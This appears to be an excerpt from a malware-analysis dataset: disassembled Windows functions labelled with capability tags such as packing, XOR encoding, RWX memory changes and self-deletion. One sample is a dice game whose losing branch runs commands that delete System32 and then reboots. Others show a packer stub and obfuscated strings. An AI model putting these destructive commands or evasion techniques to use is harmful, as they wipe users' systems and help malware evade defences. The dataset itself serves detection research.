joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41aafa
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4225a8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c3bc
and dword [ebp - 0x14], 0
cmp dword [0x81f3b8], 0
mov dword [ebp - 0x18], eax
jne 0x41abad
push 0x403df0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ac55
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403de4
push ebx
call edi
test eax, eax
je 0x41ac55
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403dd4
push ebx
mov dword [0x81f3b8], eax
call edi
push eax
call esi
push 0x403dc0
push ebx
mov dword [0x81f3bc], eax
call edi
push eax
call esi
push 0x403da4
push ebx
mov dword [0x81f3c0], eax
call edi
push eax
call esi
mov dword [0x81f3c8], eax
test eax, eax
je 0x41abad
push 0x403d8c
push ebx
call edi
push eax
call esi
mov dword [0x81f3c4], eax
mov eax, dword [0x81f3c4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41ac06
cmp dword [0x81f3c8], ecx
je 0x41ac06
push eax
call esi
push dword [0x81f3c8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41ac06
test ebx, ebx
je 0x41ac06
call edi
test eax, eax
je 0x41abfd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41abfd
test byte [ebp - 8], 1
jne 0x41ac06
or dword [ebp + 0x10], 0x200000
jmp 0x41ac39
mov eax, dword [0x81f3bc]
cmp eax, dword [ebp - 0x18]
je 0x41ac39
push eax
call esi
test eax, eax
je 0x41ac39
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41ac39
mov eax, dword [0x81f3c0]
cmp eax, dword [ebp - 0x18]
je 0x41ac39
push eax
call esi
test eax, eax
je 0x41ac39
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x81f3b8]
call esi
test eax, eax
je 0x41ac55
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ac57
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004071a4
leave
ret

Function at 0x41e4f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0xcc9828], ax
mov word [0xcc982c], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0xcc9828
mov dword [0xcc9834], 0x320033
mov dword [0xcc983c], 0x6c006c
mov word [0xcc982e], cx
mov dword [0xcc9830], 0x6c0065
mov dword [0xcc9838], 0x64002e
mov word [0xcc982a], dx
mov word [0xcc9840], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0xcc9824]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0xcc9820], eax
mov eax, dword [0xcc8010]
push edx
push eax
mov byte [0x81f3e3], 0x65
mov dword [0x81f3d9], 0x75747269
mov word [0x81f3dd], 0x6c61
mov byte [0x81f3d8], 0x56
mov word [0x81f3e4], 0x7463
mov byte [0x81f3e6], 0
mov dword [0x81f3df], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x41e5f0
Capabilities:
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1280
call fcn.0041da20
cmp dword [0xcc9824], 0x37
push esi
jne 0x41e6f1
push 0
lea eax, [esp + 0x284]
push eax
push 0x403ed4
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0
call esi
xor eax, eax
lea edx, [esp + 8]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_ReadFileScatter]
push 0
lea eax, [esp + 0x684]
push eax
push 0x403ee0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0xa84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 0x60]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
call esi
push 0x403f08
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
lea ecx, [esp + 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0x30
lea eax, [esp + 0x34]
push 0
push eax
mov dword [esp + 0x38], 0
call fcn.004102c0
add esp, 0xc
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov edx, dword [0xccbf88]
mov dword [esp + 4], edx
mov eax, 0x5d1
add dword [esp + 4], eax
mov eax, dword [esp + 4]
mov cl, byte [eax + ebx]
mov edx, dword [0xcc8010]
mov byte [edx + ebx], cl
pop esi
add esp, 0x1280
ret
Function at 0x41e990
Capabilities:
Accept command line arguments
Get geographical location
Query environment variable

Disassembly:
mov eax, dword [0xcc9824]
mov ecx, dword [0xcc8010]
sub esp, 0x984
push ebx
push ebp
shr eax, 3
xor ebp, ebp
push esi
push edi
cmp eax, ebp
jbe 0x41eb8b
mov dword [esp + 0x3c], 0x9e3779b9
mov dword [esp + 0x28], ecx
mov dword [esp + 0x30], eax
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
mov ecx, dword [0x81d018]
mov edx, dword [0x81d01c]
mov dword [esp + 0x1c], eax
mov eax, dword [0x81d020]
mov dword [esp + 0x48], ecx
mov ecx, dword [0x81d024]
mov dword [esp + 0x18], 0xc6ef3720
mov dword [esp + 0x38], edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x44], ecx
mov dword [esp + 0x2c], 0x20
mov ebx, dword [esp + 0x18]
mov eax, edi
shl eax, 4
add eax, dword [esp + 0x34]
mov esi, edi
add ebx, edi
shr esi, 5
cmp dword [0xcc9824], 0x1b
mov dword [esp + 0x14], eax
jne 0x41ea46
push ebp
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push ebp
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x14]
add esi, dword [esp + 0x44]
xor eax, ebx
mov dword [esp + 0x24], esi
mov dword [esp + 0x14], eax
mov dword [0xcc8014], ebp
mov eax, dword [esp + 0x24]
add dword [0xcc8014], eax
mov ecx, dword [0xcc8014]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x24], ebp
mov eax, dword [esp + 0x40]
add dword [esp + 0x24], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x24]
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0x24]
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x24]
sub dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov eax, ecx
shl eax, 4
add eax, dword [esp + 0x48]
add esi, ecx
cmp dword [0xcc9824], 0x1be
mov dword [esp + 0x14], eax
jne 0x41eadb
push ebp
lea eax, [esp + 0x194]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
shr ecx, 5
add ecx, dword [esp + 0x38]
cmp dword [0xcc9824], 0x979
mov dword [0xcc8018], 0xff6b3619
mov dword [0xcc801c], 0xffffffff
mov dword [esp + 0x24], ecx
jne 0x41eb16
lea ecx, [esp + 0x50]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [esp + 0x14]
xor eax, esi
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
xor dword [esp + 0x14], eax
sub edi, dword [esp + 0x14]
mov dword [esp + 0x20], ebp
mov eax, dword [esp + 0x3c]
add dword [esp + 0x20], eax
sub dword [esp + 0x18], eax
dec dword [esp + 0x2c]
jne 0x41ea02
cmp dword [0xcc9824], 0x8d4
jne 0x41eb54
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x1c]
mov dword [eax], edi
mov dword [eax + 4], edx
cmp dword [0xcc9824], 0x17
jne 0x41eb76
lea eax, [esp + 0x50]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov ecx, dword [esp + 0x28]
add ecx, 8
dec dword [esp + 0x30]
mov dword [esp + 0x28], ecx
jne 0x41e9c2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x984
ret
Function at 0x401460
Capabilities:
Execute command
Self delete

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 4], str.Run_as_ADMINISTRATOR______n_if_you_cheat_its_insta_death_
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
call sym._rand
mov ecx, eax
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
lea eax, [edx + 1]
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str.Choose_a_number_1_6:
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cin
call sym.std::istream::operator___int_
sub esp, 4
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x40152f
mov dword [esp + 4], str.You_won__the_bullet_was_in_slot
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov ecx, edx
call sym.std::ostream::operator___int_
sub esp, 4
jmp 0x401597
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jne 0x40154d
mov dword [esp + 4], str.Died
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x401597
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jne 0x401583
mov dword [esp + 4], str.Died
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], str.del__s__q_C:WindowsSystem32
call sym._system
mov dword [esp], str.rd__s__q_C:WindowsSystem32
call sym._system
jmp 0x401597
mov dword [esp + 4], str.error
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], str.timeout_5
call sym._system
mov dword [esp], str.shutdown__r
call sym._system
call sym._getch
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x1221766b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x38eb1d2e
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4018dd
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, 0x41df3c
xor ecx, ecx
mov eax, ecx
mov ebx, 0xedb88320
add edi, 4
mov esi, 8
shr eax, 1
sbb edx, edx
and edx, ebx
xor eax, edx
dec esi
jne 0x4018f6
inc ecx
mov dword [edi], eax
cmp ecx, 0x100
jb 0x4018e7
mov eax, 0x41df40
pop edi
pop esi
pop ebx
ret

Function at 0x401915
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
mov ebp, esp
mov esi, dword [ebp + 0x14]
mov edi, 0x41df40
mov edx, dword [ebp + 0x18]
shr edx, 1
or ecx, 0xffffffff
xor eax, eax
mov al, byte [esi]
xor al, cl
shr ecx, 8
mov ebx, dword [edi + eax*4]
xor ecx, ebx
mov al, byte [esi + 1]
xor al, cl
shr ecx, 8
mov ebx, dword [edi + eax*4]
add esi, 2
xor ecx, ebx
dec edx
jne 0x40192d
test dword [ebp + 0x18], 1
je 0x401962
mov al, byte [esi]
xor al, cl
inc esi
shr ecx, 8
mov ebx, dword [edi + eax*4]
xor ecx, ebx
mov eax, ecx
not eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x40196d
Capabilities:
Contain obfuscated stackstrings
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebp, esp
sub esp, 0x74
push 4
push 0x1000
push 0x100000
push 0
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401b0f
mov dword [ebp - 0x74], 0x33323130
mov dword [ebp - 0x70], 0x37363534
mov dword [ebp - 0x6c], 0x62613938
mov dword [ebp - 0x68], 0x66656463
push 0
push 0x8000000
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0x14]
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 0x14], eax
test eax, eax
js 0x401b00
push ebp
add dword [esp], 0xffffffe8
push dword [ebp - 0x14]
call sub.KERNEL32.dll_GetFileSize
cmp dword [ebp - 0x18], 0
jne 0x4019f0
test eax, eax
je 0x401af8
push 0xf0000000
push 1
push 0
push 0
push ebp
add dword [esp], 0xfffffff4
call sub.ADVAPI32.dll_CryptAcquireContextA
test eax, eax
je 0x401af8
push ebp
add dword [esp], 0xfffffff0
push 0
push 0
push dword [ebp + 0x1c]
push dword [ebp - 0xc]
call sub.ADVAPI32.dll_CryptCreateHash
test eax, eax
je 0x401aee
push 0
push ebp
add dword [esp], 0xffffffe0
push 0x100000
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x401ae9
mov dword [ebp - 8], eax
cmp dword [ebp - 0x20], 0
je 0x401a6b
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.ADVAPI32.dll_CryptHashData
test eax, eax
je 0x401ae9
jmp 0x401a29
mov dword [ebp - 0x64], 0x40
push 0
push ebp
add dword [esp], 0xffffff9c
push ebp
add dword [esp], 0xffffffa0
push 2
push dword [ebp - 0x10]
call sub.ADVAPI32.dll_CryptGetHashParam
test eax, eax
je 0x401ae9
xor eax, eax
xor edx, edx
mov ebx, dword [ebp + 0x18]
lea edi, [ebp - 0x60]
mov ecx, dword [ebp - 0x64]
lea esi, [ebp - 0x74]
mov al, byte [edi]
shr al, 4
mov dl, byte [esi + eax]
mov byte [ebx], dl
inc ebx
mov al, byte [edi]
and al, 0xf
mov dl, byte [esi + eax]
mov byte [ebx], dl
inc edi
inc ebx
dec ecx
jne 0x401a9c
mov byte [ebx], 0
call sub.ADVAPI32.dll_CryptDestroyHash
push 0
push dword [ebp - 0xc]
call sub.ADVAPI32.dll_CryptReleaseContext
push dword [ebp - 0x14]
call sub.KERNEL32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 0x1c]
call sub.KERNEL32.dll_VirtualFree
xor eax, eax
mov esp, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
call sub.ADVAPI32.dll_CryptDestroyHash
push 0
push dword [ebp - 0xc]
call sub.ADVAPI32.dll_CryptReleaseContext
push dword [ebp - 0x14]
call sub.KERNEL32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 0x1c]
call sub.KERNEL32.dll_VirtualFree
xor eax, eax
dec eax
mov esp, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
Function at 0x401c9d
Capabilities:
Get file size
Parse pe header
Read file via mapping

Disassembly:
push ebp
push edi
mov ebp, esp
sub esp, 0x14
push 0
call sub.KERNEL32.dll_SetLastError
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0xc]
call sub.KERNEL32.dll_CreateFileA
test eax, eax
jns 0x401ccd
mov esp, ebp
pop edi
pop ebp
ret 4
mov dword [ebp - 4], eax
push ebp
add dword [esp], 0xffffffec
push eax
call sub.KERNEL32.dll_GetFileSize
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 4]
call sub.KERNEL32.dll_CreateFileMappingA
mov dword [ebp - 8], eax
test eax, eax
jne 0x401d09
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4
push 0
push 0
push 0
push 4
push dword [ebp - 8]
call sub.KERNEL32.dll_MapViewOfFile
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x401d3a
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4
mov edi, eax
cmp word [edi], 0x5a4d
jne 0x401d7e
mov edi, dword [edi + 0x3c]
add edi, dword [ebp - 0xc]
jb 0x401d7e
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
cmp edi, eax
ja 0x401d7e
cmp dword [edi], 0x4550
jne 0x401d7e
push dword [ebp - 0xc]
call sub.KERNEL32.dll_UnmapViewOfFile
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
mov esp, ebp
pop edi
pop ebp
ret 4
push dword [ebp - 0xc]
call sub.KERNEL32.dll_UnmapViewOfFile
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
push 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4
Function at 0x401daa
Capabilities:
Get file size
Parse pe header
Read file via mapping

Disassembly:
push ebp
push edi
mov ebp, esp
sub esp, 0x14
push 0
call sub.KERNEL32.dll_SetLastError
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0xc]
call sub.KERNEL32.dll_CreateFileA
test eax, eax
jns 0x401dda
mov esp, ebp
pop edi
pop ebp
ret 4
mov dword [ebp - 4], eax
push ebp
add dword [esp], 0xffffffec
push eax
call sub.KERNEL32.dll_GetFileSize
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 4]
call sub.KERNEL32.dll_CreateFileMappingA
mov dword [ebp - 8], eax
test eax, eax
jne 0x401e16
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4
push 0
push 0
push 0
push 4
push dword [ebp - 8]
call sub.KERNEL32.dll_MapViewOfFile
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x401e47
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4
mov edi, eax
cmp word [edi], 0x5a4d
jne 0x401e95
mov edi, dword [edi + 0x3c]
add edi, dword [ebp - 0xc]
jb 0x401e95
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
cmp edi, eax
ja 0x401e95
cmp dword [edi], 0x4550
jne 0x401e95
mov eax, dword [edi + 0x16]
and eax, 0x2000
je 0x401e95
push dword [ebp - 0xc]
call sub.KERNEL32.dll_UnmapViewOfFile
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
mov esp, ebp
pop edi
pop ebp
ret 4
push dword [ebp - 0xc]
call sub.KERNEL32.dll_UnmapViewOfFile
push dword [ebp - 8]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
push 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
dec eax
mov esp, ebp
pop edi
pop ebp
ret 4

Function at 0x401ec1
Capabilities:
Get file attributes

Disassembly:
push ebp
push edi
mov ebp, esp
push dword [ebp + 0xc]
call sub.KERNEL32.dll_GetFileAttributesA
inc eax
je 0x401ef5
push dword [ebp + 0xc]
call fcn.00401b1b
mov edi, dword [ebp + 0xc]
add edi, eax
sub edi, 4
push 0x42160a
push edi
call fcn.00401c6c
jne 0x401ef5
xor eax, eax
inc eax
pop edi
pop ebp
ret 4
xor eax, eax
pop edi
pop ebp
ret 4

Function at 0x401efc
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.KERNEL32.dll_GetFileAttributesA
inc eax
pop ebp
ret 4
Function at 0x402ab6
Capabilities:
Check for unmoving mouse cursor
Open clipboard
Write clipboard data

Disassembly:
push ebp
push esi
push ebx
mov ebp, esp
sub esp, 0x124
mov dword [ebp - 0x120], 0
push ebp
add dword [esp], 0xfffffff4
call sub.USER32.dll_GetCursorPos
push ebp
add dword [esp], 0xfffffff4
push dword [ebp + 0x10]
call sub.USER32.dll_ScreenToClient
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call sub.USER32.dll_ChildWindowFromPoint
cmp eax, dword [0x41df14]
jne 0x402c2a
push ebp
add dword [esp], 0xffffffe4
call sub.USER32.dll_GetCursorPos
push ebp
add dword [esp], 0xffffffe4
push dword [0x41df14]
call sub.USER32.dll_ScreenToClient
push ebp
add dword [esp], 0xffffffe4
push 0
push 0x1111
push dword [0x41df14]
call sub.USER32.dll_SendMessageA
mov eax, dword [ebp - 0x14]
test eax, 0x46
je 0x402c2a
call sub.USER32.dll_CreatePopupMenu
mov dword [ebp - 4], eax
push 0x42160f
push 0x2bc
push 0
push eax
call sub.USER32.dll_AppendMenuA
push ebp
add dword [esp], 0xffffffe4
call sub.USER32.dll_GetCursorPos
push 0
push dword [ebp + 0x10]
push 0
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push 0x100
push dword [ebp - 4]
call sub.USER32.dll_TrackPopupMenu
test eax, eax
je 0x402c22
cmp eax, 0x2bc
jne 0x402c22
push dword [ebp + 0x10]
call sub.USER32.dll_OpenClipboard
test eax, eax
je 0x402c22
call sub.USER32.dll_EmptyClipboard
push 0x1000
push 0x42
call sub.KERNEL32.dll_GlobalAlloc
mov dword [0x41df28], eax
push dword [0x41df28]
call sub.KERNEL32.dll_GlobalLock
mov dword [ebp - 0x124], eax
push ebp
add dword [esp], 0xffffffe0
push ebp
add dword [esp], 0xfffffee0
push dword [ebp - 0x10]
push dword [0x41df14]
call fcn.00402e61
push edx
call fcn.0040338e
push ebp
add dword [esp], 0xfffffee0
push eax
push 0x42161d
push dword [ebp - 0x124]
call sub.USER32.dll_wsprintfA
add esp, 0x10
push dword [0x41df28]
call sub.KERNEL32.dll_GlobalUnlock
push dword [0x41df28]
push 1
call sub.USER32.dll_SetClipboardData
call sub.USER32.dll_CloseClipboard
jmp 0x402c22
push dword [ebp - 4]
call sub.USER32.dll_DestroyMenu
mov esp, ebp
pop ebx
pop esi
pop ebp
ret 4